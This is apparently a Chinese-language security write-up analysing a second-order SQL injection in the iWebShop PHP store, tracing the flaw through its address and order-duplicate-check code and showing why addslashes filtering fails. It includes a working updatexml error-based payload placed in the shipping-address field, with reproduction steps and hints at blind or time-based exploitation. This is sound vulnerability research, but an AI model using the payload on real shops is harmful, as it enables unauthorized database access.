PHP…

0x01

二次注入

漏洞分析

漏洞出现在/controllers/simple.php的587行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 ...
if($user_id == 0)
{
$addressRow = ISafe::get('address');
}
else
{
$addressDB = new IModel('address');
$addressRow= $addressDB->getObj('id = '.$address_id.' and user_id = '.$user_id);
}

if(!$addressRow)
{
IError::show(403,"收货地址信息不存在");
}
$accept_name = $addressRow['accept_name'];
$province = $addressRow['province'];
$city = $addressRow['city'];
$area = $addressRow['area'];
$address = $addressRow['address'];
$mobile = $addressRow['mobile'];
$telphone = $addressRow['telphone'];
$zip = $addressRow['zip'];

//检查订单重复
$checkData = array(
"accept_name" => $accept_name,
"address" => $address,
"mobile" => $mobile,
"distribution"=> $delivery_id,
);
$result = order_class::checkRepeat($checkData,$goodsResult['goodsList']);

这是检查订单的函数,可以从上面看出实例化了一个IModel类,跟踪到这个类,在/lib/web/model/model_class.php中,函数getObj的声明如下

1
2
3
4
5
6
7
8
9
10
11
12
public function getObj($where = false,$cols = '*')
{
$result = $this->query($where,$cols,'',1);
if(empty($result))
{
return array();
}
else
{
return $result[0];
}
}

继续跟踪到query函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function query($where=false,$cols='*',$orderBy='',$limit=50000)
{
$where = preg_replace('/from\s+(\S+)/i',"from {$this->tablePre}$1 ",$where);

//字段拼接
if(is_array($cols))
{
$colStr = join(',',$cols);
}
else
{
$colStr = ($cols=='*' || !$cols) ? '*' : $cols;
}

$sql = 'SELECT '.$colStr.' FROM '.$this->tableName;

//条件拼接
if($where != false) $sql.=' WHERE '.$where;

//排序拼接
if($orderBy)
{
$sql.= ' ORDER BY '.$orderBy;
}

//条数拼接
if($limit != 'all')
{
$limit = intval($limit);
$limit = $limit ? $limit : 5000;
$sql.=' limit ' . $limit;
}

return $this->db->query($sql);
}

发现就是执行了一个查询,回到simple.php

1
2
3
4
5
6
7
8
9
$address       = $addressRow['address'];
...
$checkData = array(
"accept_name" => $accept_name,
"address" => $address,
"mobile" => $mobile,
"distribution"=> $delivery_id,
);
$result = order_class::checkRepeat($checkData,$goodsResult['goodsList']);

可以看出查询结果的address直接赋值给了\$address,接着进入了checkRepeat函数,跟进这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static function checkRepeat($checkData,$goodsList)
{
$checkWhere = array();
foreach($checkData as $key => $val)
{
if(!$val)
{
return "请仔细填写订单所需内容";
}
$checkWhere[] = "`".$key."` = '".$val."'";
}
$checkWhere[] = " NOW() < date_add(create_time,INTERVAL 2 MINUTE) "; //在有限时间段内生成的订单
$checkWhere[] = " pay_status != 1 ";//是否付款
$where = join(" and ",$checkWhere);

//查询订单数据库
$orderObj = new IModel('order');
$orderList = $orderObj->query($where);
...

该函数的作用即使将checkData的数据进行遍历,并且最后执行一个查询,此时之前的\$address也被带入查询了,接着寻找控制\$address的方法,由于\$address是用户的收货地址,所以可以考虑在添加用户的地址时候控制\$address

在/controllers/ucenter.php中,函数address_edit声明如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public function address_edit()
{
$id = intval(IReq::get('id'));
$accept_name = IFilter::act(IReq::get('accept_name'));
$province = intval(IReq::get('province'));
$city = intval(IReq::get('city'));
$area = intval(IReq::get('area'));
$address = IFilter::act(IReq::get('address'));
$zip = IFilter::act(IReq::get('zip'));
$telphone = IFilter::act(IReq::get('telphone'));
$mobile = IFilter::act(IReq::get('mobile'));
$default = IReq::get('is_default')!= 1 ? 0 : 1;
$user_id = $this->user['user_id'];

$model = new IModel('address');
$data = array('user_id'=>$user_id,'accept_name'=>$accept_name,'province'=>$province,'city'=>$city,'area'=>$area,'address'=>$address,'zip'=>$zip,'telphone'=>$telphone,'mobile'=>$mobile,'is_default'=>$default);

//如果设置为首选地址则把其余的都取消首选
if($default==1)
{
$model->setData(array('is_default' => 0));
$model->update("user_id = ".$this->user['user_id']);
}

$model->setData($data);

if($id == '')
{
$model->add();
}
else
{
$model->update('id = '.$id);
}
$this->redirect('address');
}

可以看出\$address是通过GET方式传入,最后通过add函数进入到数据库中去的,中间还有一个IFiter::act函数的过滤,跟踪这个函数,在/lib/core/util/filter_class.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static function act($str,$type = 'string',$limitLen = false)
{
if(is_array($str))
{
$resultStr = array();
foreach($str as $key => $val)
{
$key = self::act($key, $type, $limitLen);
$val = self::act($val, $type, $limitLen);
$resultStr[$key] = $val;
}
return $resultStr;
}
else
{
switch($type)
{
case "int":
return intval($str);
break;

case "float":
return floatval($str);
break;

case "text":
return self::text($str,$limitLen);
break;

case "bool":
return (bool)$str;
break;

case "url":
return self::clearUrl($str);
break;

case "filename":
return self::fileName($str);
break;

case "strict":
return self::strict($str);

default:
return self::string($str,$limitLen);
break;
}
}
}

跟踪到string函数

1
2
3
4
5
6
7
8
public static function string($str,$limitLen = false)
{
$str = trim($str);
$str = self::limitLen($str,$limitLen);
$str = htmlspecialchars($str,ENT_NOQUOTES);
$str = str_replace(array("/*","*/"),"",$str);
return self::addSlash($str);
}

\$str被进过html实体化,经过一个替换,最后进入addSlash函数,跟踪到addSlash函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static function addSlash($str)
{
if(is_array($str))
{
$resultStr = array();
foreach($str as $key => $val)
{
$resultStr[$key] = self::addSlash($val);
}
return $resultStr;
}
else
{
return addslashes($str);
}
}

发现就是一个addslash的转义,但是这样不影响我们向数据库中插入\$address,虽然被addslas过滤后,会把单引号转义,可sql语句到数据库的时候是没有转义符号的,所以就可以达到一个二次注入的效果

0x02

漏洞利用

注册一个新用户,然后选择地址管理,街道地址才是\$address参数

payload:

1
' or updatexml(1,concat('~',version(),'~'),1) #

最后如下:

接着选择一件商品,立即购买,会出现我们之前添加的收货地址

提交之后

这个地方没有报错,说明没有报错机制,我们可以看下数据查询记录

可以利用bool盲注或者时间注入进行利用

0x03

附:一些其它的测试

simple.php的cart3函数

1
2
$addressDB = new IModel('address');
$addressRow= $addressDB->getObj('id = '.$address_id.' and user_id = '.$user_id);

关于其中的\$address_id参数的来由是

1
$address_id    = IFilter::act(IReq::get('radio_address'),'int');

而radio_address在提交订单页面中是被赋予了默认值1的

所以getObj的sql语句如下

1
SELECT * FROM iwebshop_address WHERE id = 1 and user_id = 16 limit 1

这样就能获取地址了,所以二次注入最终是在checkRepeat函数的查询中

注:addslash参数过滤对于二次注入是无效的,数据不会带’\’插入到数据库,对于查询是有效的

(ง •_•)ง